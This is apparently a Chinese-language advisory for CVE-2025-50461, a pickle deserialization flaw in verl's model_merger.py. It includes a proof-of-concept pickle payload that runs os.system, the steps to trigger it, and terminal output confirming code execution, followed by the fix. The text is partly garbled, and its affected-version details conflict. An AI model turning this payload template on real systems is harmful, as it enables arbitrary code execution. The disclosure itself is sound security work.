Status: RESERVED
此CVE ID已被分配,但尚未在官方CVE列表中发布。Volcengine 的 verl 3.0.0 中存在一个反序列化漏洞,具体位于使用 "fsdp" 后端的 scripts/model_merger.py 脚本中。该脚本在用户提供的 .pt 文件上以 weights_only=False 调用 torch.load(),如果加载了恶意构造的模型文件,攻击者可以执行任意代码。攻击者可以通过诱骗受害者下载并将恶意模型文件放入本地目录(需符合特定文件名模式)来利用此漏洞。此漏洞可能导致以运行脚本的用户权限执行任意代码。
scripts/model_merger.pymalicious.pt)import pickle
import os
class Malicious:
def __reduce__(self):
return (os.system, ("mkdir HACKED!",))
with open("malicious.pt", "wb") as f:
pickle.dump(Malicious(), f)
mv malicious.pt model_world_size_4_rank_0.pt
mkdir TESTS
mv model_world_size_4_rank_0.pt TESTS/
python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
root@99137c7690ee:/workspace/verl-main# python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
Traceback (most recent call last):
File "/workspace/verl-main/scripts/model_merger.py", line 440, in <module>
convert_fsdp_checkpoints_to_hfmodels()
File "/workspace/verl-main/scripts/model_merger.py", line 88, in convert_fsdp_checkpoints_to_hfmodels
state_dict = torch.load(os.path.join(local_dir, f'model_world_size_{world_size}_rank_{rank}.pt'),
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1384, in load
return _legacy_load(
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1630, in _legacy_load
raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
root@99137c7690ee:/workspace/verl-main# ls
'HACKED!' Notice.txt TESTS docker examples outputs pyproject.toml requirements.txt scripts test_prime.sh tmp verl.egg-info
LICENSE README.md data docs patches recipe requirements_sglang.txt setup.py tests verl verl_demo.log
命令 mkdir HACKED! 已在受害者的系统上执行。
weights_only=True,降低了反序列化风险。torch.load 时显式设置 weights_only=True。state_dict = torch.load(path, map_location="cpu", weights_only=True)
| 字段 | 值 |
|---|
| CVE ID | CVE-2025-50461 |
| CVSS 评分 | 待定 |
| CWE | CWE-502: 不可信数据的反序列化 |
| 报告日期 | 2025-04-30 |
| 披露日期 | 2025-08-15 |
| 受影响版本 | <= v0.4.0 |
| 修复版本 |